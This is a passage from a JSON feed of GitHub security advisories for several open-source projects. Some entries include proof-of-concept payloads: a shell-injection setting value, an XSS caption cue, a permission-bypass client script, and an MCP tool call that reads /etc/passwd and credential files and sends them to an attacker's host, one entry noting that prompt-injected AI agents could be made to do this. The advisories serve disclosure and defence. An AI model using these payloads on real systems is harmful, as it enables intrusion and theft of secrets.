`X-Remote-Extra-*` headers from inbound requests before they reach the kcp front-proxy can mitigate exposure in the interim. Credit to [5ud0er](https://github.com/5ud0er) / Tarmo Technologies.","severity":"critical","cvss_score":9.9,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","epss_score":0.00384,"epss_percentile":0.29588,"cwes":"CWE-290,CWE-302,CWE-348","packages":"go:github.com/kcp-dev/kcp","ecosystems":"go","ml_stack":0,"ml_categories":"","package_criticality":0,"has_fix":1,"affected_ranges":"go:github.com/kcp-dev/kcp < 0.31.4; go:github.com/kcp-dev/kcp >= 0.32.0, < 0.32.2","references":"https://github.com/kcp-dev/kcp/security/advisories/GHSA-c8w2-fgvx-vhv4 https://github.com/kcp-dev/kcp/commit/7437cdcfec8f927d1a9bf1b2dd1e075d038e27ca https://github.com/kcp-dev/kcp/releases/tag/v0.31.4","source_url":"https://github.com/advisories/GHSA-c8w2-fgvx-vhv4","risk_score":58.38,"risk_tier":"p2","risk_rank":9},{"snapshot_week":"2026-W39","fetched_at":"2026-09-24T00:00:00+00:00","ghsa_id":"GHSA-VP3W-52V9-Q57F","cve_id":"CVE-2026-77601","published_at":"2026-09-23T18:51:01Z","updated_at":"2026-09-23T18:51:02Z","summary":"OpenC3 COSMOS: Authenticated OS command injection via the `pypi_url` setting","description":"## Summary An authenticated user can execute arbitrary operating system commands on the `openc3-cosmos-cmd-tlm-api` service. The `pypi_url` setting is interpolated, unescaped, into a command line that is run through a shell backtick when a plugin is installed. Shell metacharacters in the setting value are executed by `/bin/sh`. ## Details The `pypi_url` value is written through the `set_setting` API method, reachable over the JSON-RPC endpoint `POST /openc3-api/api`. In the open-source edition, `authorize` (`openc3/lib/openc3/utilities/authorization.rb`) verifies only that the session token is valid and returns the anonymous user; the `permission:` argument is not enforced, so any authenticated user can write the setting and install a plugin. In the Enterprise edition these actions require the admin role. During plugin install, `PluginModel.install_phase2` reads the setting and builds the argument string, then runs it through a backtick (`openc3/lib/openc3/models/plugin_model.rb:288`): ```ruby pypi_url = get_setting('pypi_url', scope: scope) # attacker-controlled, no validation pypi_url += '/simple' if pypi_url pip_args = \"-i #{pypi_url} -r #{requirements_path}\" output = `/openc3/bin/pipinstall #{pip_args}` # Ruby backtick -> /bin/sh -c ``` `get_setting` appends `/simple` to the stored value, and a trailing `#` comments out that suffix and the remainder of the argument string. The python install branch runs whenever the installed plugin contains a `requirements.txt` or `pyproject.toml`, which the actor controls because they supply the plugin gem. The sibling installer `openc3/lib/openc3/models/python_package_model.rb:95` performs the same `pipinstall` invocation using an argv array through `ProcessManager.spawn`, which does not involve a shell and is not injectable. `plugin_model.rb:288` is the single site that uses a backtick. ## PoC Confirmed end-to-end over HTTP against a booted `openc3-cosmos-cmd-tlm-api` (puma) with Redis and bucket storage. Every request is authenticated. 1. Obtain a session token: ``` POST /openc3-api/auth/verify {\"password\":\"<password>\"} ``` 2. Write the setting (JSON-RPC): ``` POST /openc3-api/api {\"jsonrpc\":\"2.0\",\"method\":\"set_setting\", \"params\":[\"pypi_url\",\"https://pypi.org ; id > /tmp/A1_PWNED 2>&1 ; #\"], \"keyword_params\":{\"scope\":\"DEFAULT\"},\"id\":1} ``` 3. Upload a plugin gem that contains a `requirements.txt`: ``` POST /openc3-api/plugins (multipart: plugin=@malicious.gem, scope=DEFAULT) ``` 4. Install it: ``` POST /openc3-api/plugins/install/<id> (plugin_hash from step 3, scope=DEFAULT) ``` The injected command executed inside the install process. Contents of the marker file written by the payload: ``` uid=1001(openc3) gid=1001(openc3) groups=1001(openc3) ``` ## Impact Arbitrary OS command execution as the `openc3` user (uid 1001) inside the cmd-tlm-api container. That process holds the Redis/Valkey password and the bucket (S3) credentials and operates across every scope, so command execution there exposes stored telemetry, commanding, and credentials, and allows tampering with any scope. In the Enterprise edition the prerequisite is the admin role; the admin already has plugin-driven code execution by design, so the practical effect there is that a configuration value becomes a shell command rather than a new privilege boundary being crossed. In the open-source edition any authenticated user reaches it. ## Suggested fix Run `pipinstall` through an argv array instead of a shell, matching `python_package_model.rb:95`: ```ruby pip_argv = [\"-i\", pypi_url] pip_argv += [\"--trusted-host\", URI.parse(pypi_url).host] unless ENV['PIP_ENABLE_TRUSTED_HOST'].nil? pip_argv += File.exist?(pyproject_path) ? [gem_path] : [\"-r\", requirements_path] OpenC3::ProcessManager.instance.spawn([\"/openc3/bin/pipinstall\"] + pip_argv, \"plugin_pip_install\", File.basename(gem_path), Time.now + 3600.0, scope: scope) ``` Optionally also validate `pypi_url` as an `http(s)` URL when the setting is written.","severity":"high","cvss_score":8.8,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","epss_score":0.00581,"epss_percentile":0.45328,"cwes":"CWE-78","packages":"rubygems:openc3","ecosystems":"rubygems","ml_stack":0,"ml_categories":"","package_criticality":0,"has_fix":1,"affected_ranges":"rubygems:openc3 >= 5.12.0, <= 7.2.1","references":"https://github.com/OpenC3/cosmos/security/advisories/GHSA-vp3w-52v9-q57f https://github.com/OpenC3/cosmos/pull/3489 https://github.com/OpenC3/cosmos/commit/be70d1d836c83c3b084e768e31a399312d4cbe0b","source_url":"https://github.com/advisories/GHSA-vp3w-52v9-q57f","risk_score":57.6,"risk_tier":"p2","risk_rank":10},{"snapshot_week":"2026-W39","fetched_at":"2026-09-24T00:00:00+00:00","ghsa_id":"GHSA-34FC-GH42-PJ53","cve_id":"CVE-2026-63132","published_at":"2026-09-22T20:36:51Z","updated_at":"2026-09-22T20:36:52Z","summary":"OpenBao's Recovery Mode Vulnerable To Token Leakage via Timing Attack","description":"### Impact When running in the highly privileged recovery mode, OpenBao was vulnerable to a timing attack against the single recovery token. This allowed an attacker to extract the recovery token and use it to perform operations against the OpenBao instance, including reading or modification of data. ### Patches This has been patched in OpenBao v2.6.0.","severity":"critical","cvss_score":9.1,"cvss_vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N","epss_score":0.00497,"epss_percentile":0.39942,"cwes":"CWE-208","packages":"go:github.com/openbao/openbao","ecosystems":"go","ml_stack":0,"ml_categories":"","package_criticality":0,"has_fix":1,"affected_ranges":"go:github.com/openbao/openbao < 0.0.0-20260713141742-763625a20721; go:github.com/openbao/openbao >= 0.1.0, <= 1.1.5","references":"https://github.com/openbao/openbao/security/advisories/GHSA-34fc-gh42-pj53 https://github.com/openbao/openbao/pull/3388 https://github.com/openbao/openbao/pull/3472","source_url":"https://github.com/advisories/GHSA-34fc-gh42-pj53","risk_score":57.48,"risk_tier":"p2","risk_rank":11},{"snapshot_week":"2026-W39","fetched_at":"2026-09-24T00:00:00+00:00","ghsa_id":"GHSA-9VM9-PQXX-X83V","cve_id":"CVE-2026-62369","published_at":"2026-09-22T20:36:59Z","updated_at":"2026-09-22T20:37:02Z","summary":"KubeEdge: keadm DecompressTarGz path traversal enables arbitrary file write on Windows during edge node join","description":"## Description KubeEdge `keadm` contains a path traversal vulnerability in the `DecompressTarGz` archive extraction function. Archive entry names were joined directly with the extraction destination without sufficient validation. A crafted tar.gz archive containing parent-directory components, Windows-style backslashes, absolute paths, or drive-prefixed paths could cause files to be written outside the intended extraction directory. The issue is particularly relevant to Windows edge nodes during the `keadm join` or installation process when `keadm` extracts downloaded component archives. ## Impact An attacker who can cause an affected `keadm` process to extract a malicious archive may write or overwrite files outside the intended destination directory with the privileges of the user running `keadm`. On Windows edge nodes, this may allow modification of configuration files, executable files, service-related files, or other writable system locations. Depending on the overwritten file and the privileges of the `keadm` process, successful exploitation could lead to persistent system modification or code execution. Exploitation requires the attacker to influence the contents of an archive processed by `keadm`, such as through a compromised, replaced, or otherwise untrusted download source. ## Patches The extraction logic now: * resolves the destination directory to an absolute path; * rejects empty archive entry names; * normalizes Windows-style path separators before validation; * rejects parent-directory traversal paths; * rejects absolute and Windows drive-prefixed paths; * uses `filepath-securejoin` to ensure extracted files remain within the destination directory. Fixes are planned for the following maintained releases: * v1.23.1 * v1.22.2 * v1.21.2 ## Workarounds Until a patched release is available: * only install or join edge nodes using trusted KubeEdge package sources; * verify the integrity and origin of downloaded archives before extraction; * do not use custom or untrusted component archives with `keadm`; * restrict write permissions and administrative privileges for the account running `keadm`; * avoid performing Windows edge-node installation or join operations when the package source cannot be trusted. ## Credits KubeEdge thanks Sang-Hoon Choi ([KoreaSecurity](https://github.com/KoreaSecurity), Sejong University) for responsibly reporting this issue and for coordinating with the KubeEdge maintainers through the security disclosure process.","severity":"high","cvss_score":8.1,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H","epss_score":0.00857,"epss_percentile":0.56607,"cwes":"CWE-22","packages":"go:github.com/kubeedge/kubeedge","ecosystems":"go","ml_stack":0,"ml_categories":"","package_criticality":0,"has_fix":1,"affected_ranges":"go:github.com/kubeedge/kubeedge >= 1.16.0, < 1.21.2; go:github.com/kubeedge/kubeedge >= 1.22.0, < 1.22.2; go:github.com/kubeedge/kubeedge >= 1.23.0, < 1.23.1","references":"https://github.com/kubeedge/kubeedge/security/advisories/GHSA-9vm9-pqxx-x83v https://nvd.nist.gov/vuln/detail/CVE-2026-62369 https://github.com/kubeedge/kubeedge/pull/7028","source_url":"https://github.com/advisories/GHSA-9vm9-pqxx-x83v","risk_score":57.48,"risk_tier":"p2","risk_rank":12},{"snapshot_week":"2026-W39","fetched_at":"2026-09-24T00:00:00+00:00","ghsa_id":"GHSA-M6C8-JCW2-5R25","cve_id":"CVE-2026-77615","published_at":"2026-09-18T13:11:59Z","updated_at":"2026-09-18T13:12:03Z","summary":"Opencast: Stored XSS in Paella player via WebVTT/DFXP caption cue text","description":"## Summary The Opencast Paella player renders caption cue text into `innerHTML` without escaping. The captions canvas clears `_captionsContainer.innerHTML` and then appends each active cue with `_captionsContainer.innerHTML += cue`, so HTML inside a WebVTT or DFXP cue becomes live DOM and executes in the Opencast origin. The caption track is read from any media package element with a `captions/*` flavor and is served, with the player manifest, to anonymous viewers through `/search/episode.json`. The caption plugins that consume it are enabled in the default player configuration, the \"Subtitles\" upload that produces a `captions/source` track is active by default, and no caption processing step escapes the cue text. A user who can upload a subtitle to an event and publish it stores the payload in the published caption file. Any viewer who opens the event and turns captions on runs the script. Result: a non-admin content author stores JavaScript in a subtitle cue that executes in the browser session of every viewer who enables captions on that event, including anonymous viewers and authenticated staff. ## Affected opencast/opencast, `engage-paella-player` module. Supported release lines 19.x and 20.x are affected (and 18.x). Live-confirmed on 18.8 (Paella 7, paella-core 1.50.2) and 20.0 (Paella 8, paella-core 1.50.4); 19.5 ships the code-identical caption path (paella-core 1.50.4, same `EpisodeConversor` and default plugin config as 20.0). The captions canvas uses the same `innerHTML += cue` sink across these versions. Default configuration: the WebVTT and DFXP caption plugins are `enabled: true` in `etc/ui-config/mh_default_org/paella7/config.json`, the \"Subtitles\" upload option (`captions/source`, `.vtt`) is active in `etc/listproviders/event.upload.asset.options.properties`, and the `fast` workflow publishes `captions/*` to the engage player. Condition: an event with a caption track published to the engage player. No non-default flag required. ## Root cause The captions canvas appends each cue to `_captionsContainer.innerHTML` in the bundled paella-core (served at `/paellaN/ui/paella-player.js` / the 20.x core chunk), so markup in a cue becomes live DOM. The caption entry is built from any media package element whose flavor matches `captions/*` at `modules/engage-paella-player-7/src/js/EpisodeConversor.js:392`, and `/search/episode.json` serves the manifest and the caption file to anonymous clients. The WebVTT and DFXP plugins that consume it are enabled by default at `etc/ui-config/mh_default_org/paella7/config.json:571` and `:574`. The cue text is not HTML-escaped before assignment to `innerHTML`, and `partial-process-uploaded-captions` only cuts and tags the file, it never sanitizes it. Opencast sets neither a Content-Security-Policy nor an X-Content-Type-Options header, so the injected script runs without restriction. ## Reproduction Default config, default caption plugins enabled, a non-admin user with `ROLE_API_EVENTS_CREATE`, `ROLE_API_EVENTS_TRACK_EDIT`, and `ROLE_UI_TASKS_CREATE` (no `ROLE_ADMIN`). 1. As the non-admin user, create an event, then upload a WebVTT subtitle as `captions/source` whose cue text is an XSS payload, and publish the event. ``` WEBVTT 00:00:00.000 --> 00:00:30.000 <img src=x onerror=document.title=window.__xss=document.domain> ``` 2. The anonymous search manifest then exposes the caption and serves the cue raw. ``` GET /search/episode.json?id=<event> \"type\":\"captions/source\", \"url\":\".../static/.../x.vtt\" GET .../static/.../x.vtt -> cue text returned verbatim ``` 3. Open the event in the player as an anonymous viewer, open the captions menu, and select the track; the cue is written to `innerHTML` and the `onerror` handler runs. Live-verified: on Opencast 18.8 (build 8705223) in Chrome, a non-admin author published the subtitle and an anonymous viewer enabled captions, rendering the cue as a live `<img>` node and setting `window.__xss` and `document.title` to `document.domain`. On Opencast 20.0 (build d919405, Paella 8), the served core bundle contains the identical `innerHTML += cue` sink and the player loads the cue raw; the sink executes JavaScript in the engage origin when fed the player's own published caption file. ## Impact - JavaScript execution in the Opencast origin in the session of any viewer who enables captions on the event. - Anonymous viewers and authenticated staff are equally affected; an instructor or admin viewer exposes that session context to the script. - Session and CSRF-token theft, actions performed as the victim against the Opencast REST API. - Stored by a non-admin content author, triggered by viewing with captions on, no attacker authentication at view time. ## Credit Jan Kahmen, [turingpoint](https://www.turingpoint.de) ()","severity":"high","cvss_score":8.7,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N","epss_score":0.00559,"epss_percentile":0.44135,"cwes":"CWE-79","packages":"maven:org.opencastproject:opencast-engage-paella-player-7,npm:paella-core","ecosystems":"maven,npm","ml_stack":0,"ml_categories":"","package_criticality":0,"has_fix":1,"affected_ranges":"maven:org.opencastproject:opencast-engage-paella-player-7 < 19.7; maven:org.opencastproject:opencast-engage-paella-player-7 >= 20.0, < 20.2; npm:paella-core < 1.50.6","references":"https://github.com/opencast/opencast/security/advisories/GHSA-m6c8-jcw2-5r25 https://nvd.nist.gov/vuln/detail/CVE-2026-77615 https://github.com/opencast/opencast/pull/7736","source_url":"https://github.com/advisories/GHSA-m6c8-jcw2-5r25","risk_score":56.74,"risk_tier":"p2","risk_rank":13},{"snapshot_week":"2026-W39","fetched_at":"2026-09-24T00:00:00+00:00","ghsa_id":"GHSA-89VX-JH4Q-VG3W","cve_id":"CVE-2026-63116","published_at":"2026-09-22T19:56:34Z","updated_at":"2026-09-22T19:56:34Z","summary":"deepstream: PATCH_MULTI action bypasses Valve permission system allowing unauthorized record writes","description":"## Summary The `RECORD_ACTION.PATCH_MULTI` action is not registered in the Valve permission system's `RULES_MAP` (`src/services/permission/valve/rules-map.ts`). When `ConfigPermission.canPerformAction()` is called for a PATCH_MULTI message, `getRulesForMessage()` returns `null` because the action is missing from the map. This triggers an unconditional allow (`callback(..., null, true)`), completely bypassing all configured Valve permission rules. Any authenticated user — regardless of their configured permissions — can write arbitrary data to any record using the PATCH_MULTI action. ## Root Cause In `src/services/permission/valve/rules-map.ts` lines 38-54, the `RULES_MAP[TOPIC.RECORD].actions` dictionary maps record actions to permission rule types. The actions registered include: SUBSCRIBE, SUBSCRIBEANDHEAD, SUBSCRIBEANDREAD, READ, HEAD, LISTEN, CREATE, UPDATE, PATCH, NOTIFY, DELETE, ERASE. However, `RECORD_ACTION.PATCH_MULTI` is **absent** from this map. When `getRulesForMessage()` at line 86-99 encounters an action not in the map, it returns `null`. In `config-permission.ts` at line 88-93, when `ruleSpecification === null`, the callback is invoked with `true` (allow) unconditionally. ## Attack Chain 1. Attacker authenticates with any valid credentials (even a minimal-privilege user) 2. Attacker sends a WebSocket message: `{topic: RECORD, action: PATCH_MULTI, name: \"admin/secret-record\", parsedData: [{path: \"role\", data: \"admin\"}]}` 3. `message-processor.ts:68` invokes permission check 4. `config-permission.ts:89` → `getRulesForMessage()` returns `null` for PATCH_MULTI 5. `config-permission.ts:92` → unconditional ALLOW 6. Record transition applies the operations — arbitrary record is modified ## Impact - **Complete Valve permission bypass for record writes** — all configured permission rules are irrelevant - Any authenticated user can overwrite any record, including admin-only records - Mass record overwrites can destroy application state, corrupt sessions, cause service outage - Only exploitable when `permission.type` is set to `config` (Valve) — the recommended production configuration per deepstream documentation - Default permission type `none` (OpenPermission) allows everything already, so default deployments are unaffected <details><summary>Proof of Concept</summary> ```javascript // Connect as a minimal-privilege user const { DeepstreamClient } = require('@deepstream/client'); const client = new DeepstreamClient('localhost:6020'); await client.login({ username: 'restricted-user', password: 'password' }); // This should be blocked by Valve permissions but isn't: // Send raw PATCH_MULTI message to bypass all permission rules const connection = client.getConnection(); connection.sendMessage({ topic: 0x52, // TOPIC.RECORD action: 0x50, // RECORD_ACTION.PATCH_MULTI (check actual enum value) name: 'admin/protected-record', parsedData: [ { path: 'permissions', data: 'admin' }, { path: 'secret', data: 'overwritten' } ] }); ``` </details> ## Suggested Fix Add `PATCH_MULTI` to the RULES_MAP in `src/services/permission/valve/rules-map.ts`: ```typescript [RECORD_ACTION.PATCH_MULTI]: RULE_TYPES.WRITE, ``` This maps PATCH_MULTI operations to the same WRITE permission rule that governs UPDATE and PATCH. ## Affected Versions All versions that include PATCH_MULTI support with the Valve (ConfigPermission) permission system. The PATCH_MULTI action was added in commit `82ffa8119d8f4a8242ac5c3507469a22de746b65` but was never registered in RULES_MAP. ## Credit Vulnerability discovered by Zhixi \"Jace\" Sun of ASM/VI at TikTok.","severity":"high","cvss_score":8.8,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","epss_score":0.00506,"epss_percentile":0.40594,"cwes":"CWE-862","packages":"npm:@deepstream/server","ecosystems":"npm","ml_stack":0,"ml_categories":"","package_criticality":0,"has_fix":1,"affected_ranges":"npm:@deepstream/server = 10.1.0","references":"https://github.com/deepstreamIO/deepstream.io/security/advisories/GHSA-89vx-jh4q-vg3w https://nvd.nist.gov/vuln/detail/CVE-2026-63116 https://github.com/deepstreamIO/deepstream.io/commit/1c2adde6581c53ef47e204364bc740bc3c2e2e2a","source_url":"https://github.com/advisories/GHSA-89vx-jh4q-vg3w","risk_score":56.18,"risk_tier":"p2","risk_rank":14},{"snapshot_week":"2026-W39","fetched_at":"2026-09-24T00:00:00+00:00","ghsa_id":"GHSA-VMJQ-HVGQ-2WV4","cve_id":"CVE-2026-56679","published_at":"2026-09-23T18:12:33Z","updated_at":"2026-09-23T18:12:34Z","summary":"9router: Mass assignment in PATCH /api/settings allows authenticated authorization downgrade","description":"### Summary The `PATCH /api/settings` endpoint writes the entire request body to persistent settings without a field whitelist. An authenticated user can set security-critical fields that are not meant to be modifiable here — notably `requireLogin`. Setting `requireLogin: false` disables authentication for the whole application, exposing all protected routes (e.g. `/api/keys`, `/api/providers`) to unauthenticated access. ### Details Root cause is unfiltered mass assignment (CWE-915): - `src/app/api/settings/route.js` (PATCH handler) parses the body and passes it to `updateSettings(body)`, with special handling only for `newPassword` and `oidcClientSecret`. All other fields pass through. - `src/lib/db/repos/settingsRepo.js` — `updateSettings` does `next = { ...current, ...updates }`, so any key in the body overwrites stored settings, including `requireLogin`, `tunnelDashboardAccess`, `authMode`. - `src/dashboardGuard.js` — `isAuthenticated` returns `true` whenever `settings.requireLogin === false`, bypassing auth on all protected routes. This is distinct from CVE-2026-5842 (CWE-285, pre-auth bypass on `/api`, patched in 0.3.75). This finding requires a valid authenticated session and abuses input handling, not missing authentication. ### PoC Instance on `localhost:20128`, default password `123456`. 1. Authenticate, capture session: `POST /api/auth/login` body `{\"password\":\"123456\"}` → `200 {\"success\":true}` 2. Mass-assign with the authenticated session: `PATCH /api/settings` body `{\"requireLogin\":false}` → `200`, response confirms `\"requireLogin\":false` 3. Verify bypass with NO session/credentials: `GET /api/keys` → `200`, returns full API key list unauthenticated 4. Cleanup (authenticated): `PATCH /api/settings` body `{\"requireLogin\":true}` → `GET /api/keys` returns `401` again ### Impact Post-authentication mass assignment. Any authenticated user (including one using the default password) can disable authentication globally, then read all stored API keys and provider connection data without credentials, and toggle tunnel/dashboard exposure. Escalates to remote full compromise when chained with the default password `123456` on an instance exposed via tunnel (`tunnelDashboardAccess` defaults to `true`). ### Suggested fix Whitelist user-configurable fields in the PATCH handler; move security-critical fields (`requireLogin`, `tunnelDashboardAccess`, `authMode`) to a dedicated endpoint requiring re-authentication (current-password re-entry), mirroring the existing DB export/import re-auth flow.","severity":"high","cvss_score":8.7,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N","epss_score":0.00519,"epss_percentile":0.41574,"cwes":"CWE-915","packages":"npm:9router","ecosystems":"npm","ml_stack":0,"ml_categories":"","package_criticality":0,"has_fix":1,"affected_ranges":"npm:9router <= 0.5.2","references":"https://github.com/decolua/9router/security/advisories/GHSA-vmjq-hvgq-2wv4 https://nvd.nist.gov/vuln/detail/CVE-2026-56679 https://github.com/advisories/GHSA-vmjq-hvgq-2wv4","source_url":"https://github.com/advisories/GHSA-vmjq-hvgq-2wv4","risk_score":55.97,"risk_tier":"p2","risk_rank":15},{"snapshot_week":"2026-W39","fetched_at":"2026-09-24T00:00:00+00:00","ghsa_id":"GHSA-P6HP-93WP-FH6P","cve_id":"CVE-2026-77262","published_at":"2026-09-22T20:35:21Z","updated_at":"2026-09-22T20:35:22Z","summary":"MCP Atlassian: Path Traversal / Arbitrary File Read in confluence_upload_attachment MCP tool (incomplete fix of GHSA-xjgw-4wvw-rgm4)","description":"## Summary `mcp-atlassian` exposes an MCP tool `confluence_upload_attachment` whose `file_path` argument is passed directly to `open(file_path, \"rb\")` without any path validation. An attacker able to invoke the tool can read arbitrary files readable by the server process and exfiltrate them into a multipart upload directed at an attacker-controlled Confluence host. In the default `streamable-http` transport the server binds `0.0.0.0` with no built-in authentication, making this remotely exploitable without credentials. This is the **read-side symmetric twin** of GHSA-xjgw-4wvw-rgm4 / CVE-2026-27825 (fixed in v0.17.0). The v0.17.0 patch only covered the download/write path; the upload path that reads local files was left unguarded. ## Details ### Vulnerable sink `src/mcp_atlassian/confluence/attachments.py:477` ```python with open(file_path, \"rb\") as fp: files = {\"file\": (filename, fp, content_type)} response = self.confluence.session.post(url, files=files, ...) ``` `file_path` is attacker-controlled end-to-end. ### Taint source `src/mcp_atlassian/servers/confluence.py:1290-1369`, tool definition at `:1307`: ```python file_path: Annotated[str, Field(description=\"Absolute path to the file to upload\")] ``` No Pydantic `pattern=`, no validator, no `validate_safe_path()` call. ### Call chain 1. MCP client invokes `confluence_upload_attachment(page_id, file_path, ...)` 2. Server handler forwards to `ConfluenceFetcher.upload_attachment(file_path)` 3. `_upload_attachment_direct(file_path)` calls `open(file_path, \"rb\")` 4. File bytes are streamed in the multipart body of `POST /wiki/rest/api/content/{page_id}/child/attachment` to the configured Confluence base URL — which the attacker also controls (they provided `CONFLUENCE_URL` via env/config or target a server they already control). ### Asymmetry with the patched download path - `attachments.py:223` (download) — calls `validate_safe_path(local_path)` before `open(..., \"wb\")` - `attachments.py:272` (download) — calls `validate_safe_path(local_path)` before `open(..., \"wb\")` - `attachments.py:477` (upload) — **no validation** The `check_write_access` decorator does not help: it only gates `READ_ONLY_MODE` (default `false`) and is unrelated to filesystem path safety. ### Default exposure `src/mcp_atlassian/__init__.py:151` and `:360` — default transport is `streamable-http` binding `HOST=0.0.0.0` with no auth layer. Any network-reachable attacker can call MCP tools directly. ## Severity **Primary (default `streamable-http` deployment)** - Vector: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N` - Score: **9.3 Critical** - Rationale: network-reachable, unauthenticated, scope-changed because files outside the MCP server's intended resource boundary (Confluence attachments) are exfiltrated. **Alternative (stdio-only deployment, conservative)** - Vector: `CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N` - Score: **6.6 High** - Rationale: local attacker controlling the MCP client context. Maintainer should pick the vector that reflects the documented default deployment. ## CWE CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') ## Affected - Product: `sooperset/mcp-atlassian` - Affected versions: **>= 0.17.0, <= HEAD (`d8bc78698a63cb6b321c7ca796d6329d448f7f6d`)** - Note: v0.17.0 is the fix commit for GHSA-xjgw-4wvw-rgm4 but only addressed the write-side. This read-side twin has existed since that release and remains unpatched on `main`. - Patched versions: **none at time of disclosure** ## Proof of Concept Fully reproduced twice end-to-end against a local stdlib HTTP stub acting as the Confluence API, driven by a real MCP stdio client (`mcp.ClientSession` + `stdio_client`) spawning the unmodified `mcp-atlassian` server at HEAD. ### Permalinks (commit-pinned) - Sink: https://github.com/sooperset/mcp-atlassian/blob/d8bc78698a63cb6b321c7ca796d6329d448f7f6d/src/mcp_atlassian/confluence/attachments.py#L477 - Source (tool def): https://github.com/sooperset/mcp-atlassian/blob/d8bc78698a63cb6b321c7ca796d6329d448f7f6d/src/mcp_atlassian/servers/confluence.py#L1307 - Safe download comparison: https://github.com/sooperset/mcp-atlassian/blob/d8bc78698a63cb6b321c7ca796d6329d448f7f6d/src/mcp_atlassian/confluence/attachments.py#L223 - Default transport bind: https://github.com/sooperset/mcp-atlassian/blob/d8bc78698a63cb6b321c7ca796d6329d448f7f6d/src/mcp_atlassian/__init__.py#L151 ### Reproduction 1. Start mock Confluence stub: `python mock_confluence.py` (binds `127.0.0.1:8443`, logs all multipart bodies) 2. Launch MCP client against real `mcp-atlassian` server over stdio with `CONFLUENCE_URL=http://127.0.0.1:8443` 3. Call tool: ```json { \"name\": \"confluence_upload_attachment\", \"arguments\": { \"page_id\": \"123456\", \"file_path\": \"/etc/passwd\", \"comment\": \"poc\" } } ``` ### Run 1 — `/etc/passwd` - MCP response: `isError=False`, `{\"message\": \"Attachment uploaded successfully\"}` - Stub captured 3339-byte multipart body containing: `root:x:0:0:root:/root:/bin/bash` (and full passwd contents) ### Run 2 — `/etc/hostname` - MCP response: `isError=False`, same success envelope - Stub captured 380-byte body containing: `ang3l-pc` Both runs used unmodified server code at commit `d8bc78698a63cb6b321c7ca796d6329d448f7f6d`. PoC artifacts (`mock_confluence.py`, `mcp_client.py`, `poc_run1.sh`, `poc_run2.sh`, `asymmetry.txt`, `ENVIRONMENT.md`) available on request to maintainers via this advisory thread. ## Impact - Arbitrary file read of anything readable by the server process UID: `/etc/passwd`, `/etc/shadow` (if running as root in container), `~/.aws/credentials`, `~/.ssh/id_rsa`, `.env` files, kube service-account tokens at `/var/run/secrets/kubernetes.io/serviceaccount/token`, application source, database dumps, private keys. - Exfiltration is covert: file bytes transit to the attacker's configured Confluence host inside a normal-looking multipart upload. No error surface; the tool returns success. - In the default `streamable-http` 0.0.0.0 deployment, no credentials are required. - Chains trivially with any AI agent that exposes this MCP server to untrusted prompt input — a prompt-injected assistant can be coerced into calling the tool with a sensitive path. ## Relationship to GHSA-xjgw-4wvw-rgm4 (CVE-2026-27825) GHSA-xjgw-4wvw-rgm4 (CVSS 9.1, fixed in v0.17.0) addressed an **arbitrary file write** in the same `attachments.py` module: attacker-controlled paths reaching `open(..., \"wb\")` on the download side. The fix introduced `validate_safe_path()` and applied it at lines 223 and 272. **The upload-side counterpart at line 477 was not updated.** Same module, same maintainer, same class of bug (unchecked path → `open()`), opposite direction (read vs write). This advisory reports the incomplete-fix twin. ## Remediation ### Required Call `validate_safe_path(file_path)` at the top of `ConfluenceFetcher.upload_attachment` and `_upload_attachment_direct` in `src/mcp_atlassian/confluence/attachments.py`, mirroring the download path at lines 223 and 272. Reject absolute paths outside a configurable allow-listed upload directory and reject any path containing `..` after normalization. ### Defense in depth Tighten the Pydantic tool schema at `src/mcp_atlassian/servers/confluence.py:1307`: ```python file_path: Annotated[ str, Field( description=\"Relative path within the configured upload directory\", pattern=r\"^(?!/)(?!.*\\.\\.)[\\w\\-./]+$\", ), ] ``` This blocks absolute paths and `..` at the MCP schema layer before the handler is even entered. ### Additional hardening (out of scope but recommended) - Default `streamable-http` to `127.0.0.1` instead of `0.0.0.0`, or require an auth token when bound to a non-loopback interface. - Document that `file_path` must be confined to an operator-chosen directory and expose that directory via config.","severity":"high","cvss_score":8.6,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N","epss_score":0.00538,"epss_percentile":0.42841,"cwes":"CWE-22","packages":"pip:mcp-atlassian","ecosystems":"pip","ml_stack":0,"ml_categories":"","package_criticality":0,"has_fix":1,"affected_ranges":"pip:mcp-atlassian < 0.22.0","references":"https://github.com/sooperset/mcp-atlassian/security/advisories/GHSA-p6hp-93wp-fh6p https://github.com/sooperset/mcp-atlassian/pull/1448 https://github.com/sooperset/mcp-atlassian/commit/b041733473f95119dd539542a43c280737a8e460","source_url":"https://github.com/advisories/GHSA-p6hp-93wp-fh6p","risk_score":55.85,"risk_tier":"p2","risk_rank":16},{"snapshot_week":"2026-W39","fetched_at":"2026-09-24T00:00:00+00:00","ghsa_id":"GHSA-WX4M-69M9-GX3M","cve_id":"CVE-2026-91130","published_at":"2026-09-22T20:40:55Z","updated_at":"2026-09-22T20:40:58Z","summary":"Home Assistant: XSS in Statistics Graph Card","description":"### Summary An authenticated party can add a malicious name to any statistics-capable entity, allowing for Cross-Site Scripting attacks against anyone who views a Statistics Graph card containing that entity, when they hover over any data point on the chart. **Payload** <img width=\"1529\" height=\"441\" alt=\"image\" src=\"https://github.com/user-attachments/assets/6926ce53-75fb-455a-bd4e-0c5281e8bed8\" /> **Payload triggering** <img width=\"835\" height=\"469\" alt=\"image\" src=\"https://github.com/user-attachments/assets/0bb9d17a-c123-4d44-8471-35097f65ddd2\" /> An alternative, and more impactful scenario, is that the entity gets a malicious name from the provider of the integration (e.g. Tibber, Shelly, or any HACS integration), and is exploited that way through the default name — without requiring any direct access to the Home Assistant instance. This is the same supply-chain vector as 